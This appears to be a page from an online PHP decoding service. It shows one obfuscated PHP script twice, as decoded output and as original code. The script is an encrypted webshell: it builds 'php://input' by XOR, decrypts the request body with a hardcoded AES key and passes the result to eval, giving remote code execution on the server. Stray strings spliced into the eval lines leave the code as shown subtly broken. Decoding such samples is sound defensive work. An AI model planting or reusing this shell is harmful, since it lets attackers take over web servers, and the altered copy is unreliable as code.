Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

@error_reporting(0); session_start(); $key="e0323a9039add297"; $_SESSION['k']=$key; ..

Decoded Output download

<?  @error_reporting(0); 
session_start(); 
$key="e0323a9039add297"; 
$_SESSION['k']=$key; 
 
$f='file'.'_get'.'_contents'; 
 
$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8); 
 
$Huan7=$f($p); 
 
if(!extension_loaded('openssl')) 
{  
  $t=preg_filter('/\s+/','','base 64 _ deco de'); 
  $Huan7=$t($Huan7.""); 
   
  for($i=0;$i<strlen($Huan7);$i++)  
  {  
    $new_key = $key[$i+1&15]; 
    $Huan7[$i] = $Huan7[$i] ^ $new_key; 
  }   
} 
else 
{  
  $Huan7=openssl_decrypt($Huan7, "AES128", $key); 
} 
   
$arr=explode('|',$Huan7); 
$func=$arr[0]; 
$params=$arr[1]; 
 
class G08s8A5a 
{  
  public function __invoke($p)  
  { 
    @eval("/Z7JRc044ju/".$p.""); 
  } 
} 
 
@call_user_func/Z7JRc044ju/(new G08s8A5a(),$params); ?>

Did this file decode correctly?

Original Code

@error_reporting(0);
session_start();
$key="e0323a9039add297";
$_SESSION['k']=$key;

$f='file'.'_get'.'_contents';

$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);

$Huan7=$f($p);

if(!extension_loaded('openssl'))
{ 
  $t=preg_filter('/\s+/','','base 64 _ deco de');
  $Huan7=$t($Huan7."");
  
  for($i=0;$i<strlen($Huan7);$i++) 
  { 
    $new_key = $key[$i+1&15];
    $Huan7[$i] = $Huan7[$i] ^ $new_key;
  }  
}
else
{ 
  $Huan7=openssl_decrypt($Huan7, "AES128", $key);
}
  
$arr=explode('|',$Huan7);
$func=$arr[0];
$params=$arr[1];

class G08s8A5a
{ 
  public function __invoke($p) 
  {
    @eval("/Z7JRc044ju/".$p."");
  }
}

@call_user_func/Z7JRc044ju/(new G08s8A5a(),$params);

Function Calls

None

Variables

None

Stats

MD5 2067f88d3adc9aa0c3e12f8b76f77a47
Eval Count 0
Decode Time 47 ms